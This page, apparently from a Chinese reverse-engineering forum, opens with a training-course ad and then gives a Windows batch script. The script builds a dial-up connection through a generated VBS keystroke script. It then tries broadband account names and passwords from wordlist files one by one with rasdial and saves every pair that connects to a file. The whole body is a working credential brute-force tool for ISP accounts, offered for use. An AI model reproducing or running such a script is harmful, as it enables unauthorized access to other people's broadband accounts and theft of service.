[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
@title 宽带账号批量连接检测批处理 @echo off & setlocal enabledelayedexpansion set userfile=宽带账号.txt set passfile=宽带密码.txt set pppname=宽带连接 set outfile=成功连接.txt :choose echo.&echo 本批处理实现以下功能: echo.&echo 1 - 创建 !pppname!(配合模拟按键实现) echo.&echo 2 - 测试固定的宽带账号及密码 echo.&echo 3 - 宽带账号固定,密码从文本 %adslpass% 里提取逐一测试 echo.&echo 4 - 宽带密码固定,账号从文本 %adsluser% 里提取逐一测试 echo.&echo 5 - 宽带账号及密码均从以上文本里提取逐一测试 echo.&echo 0 - 退出批处理 echo.&set /p choose=请输入你选择的序号并回车: if %choose% equ 0 exit if %choose% equ 1 goto :buildppp if %choose% equ 2 goto :user1pass1 if %choose% equ 3 goto :user1passx if %choose% equ 4 goto :pass1userx if %choose% equ 5 goto :userxpassx cls&echo.&echo 输入的序号有误,请重新选择!&set choose=&goto :choose :buildppp ::创建新宽带连接 set vbs=buildppp.vbs (echo Set WshShell = CreateObject^("WScript.Shell"^) echo strCommandLine = "rasphone -a ""!pppname!""" echo WshShell.Run^(strCommandLine^) echo WScript.Sleep 1000 echo WshShell.SendKeys "R" echo WScript.Sleep 30 echo WshShell.SendKeys "{ENTER}" echo WScript.Sleep 30 echo WshShell.SendKeys "{ENTER}" echo Set WshShell = Nothing )>"%vbs%" cscript //nologo "%vbs%" del "%vbs%" goto :exit :user1pass1 echo.&set /p user=请输入宽带账号: echo.&set /p pass=请输入宽带密码: call :check1 goto :exit :user1passx set user=改成固定的宽带账号 call :check0 for /f "tokens=*" %%a in ('type "%passfile%"') do ( if !end! equ 1 (set end=&goto :exit) set pass=%%a&call :check1 ) goto :exit :pass1userx set pass=改成固定的宽带密码 call :check0 for /f "tokens=*" %%a in ('type "%userfile%"') do ( if !end! equ 1 (set end=&goto :exit) set user=%%a&call :check1 ) goto :exit :userxpassx call :check0 for /f "tokens=*" %%a in ('type "%userfile%"') do ( set user=%%a call :check2 ) goto :exit :exit ::如果要连接最后一组成功的账号密码的话请取消下一行的前面两个冒号 ::rasdial "!pppname!" !lastuser! !lastpass! >nul echo.&echo 所有操作完毕,按任意键退出&pause>nul&exit :check0 rasdial|find "已连接">nul if !errorlevel! equ 0 for /f "skip=1 tokens=*" %%a in ('rasdial') do (rasdial "%%a" /d >nul&set pppname=%%a&goto :eof) goto :eof :check1 echo.&set /p str=正在连接账号 !user!=!pass! <nul rasdial "!pppname!" !user! !pass! >nul rasdial|find "已连接">nul if !errorlevel! equ 0 ( echo [连接成功] echo>>"%outfile%" !user!=!pass! set lastuser=!user! set lastpass=!pass! set end=1 ) else (echo.) rasdial "!pppname!" /d >nul goto :eof :check2 for /f "tokens=*" %%b in ('type "%passfile%"') do ( if !end! equ 1 (set end=&goto :eof) set pass=%%b call :check1 ) goto :eof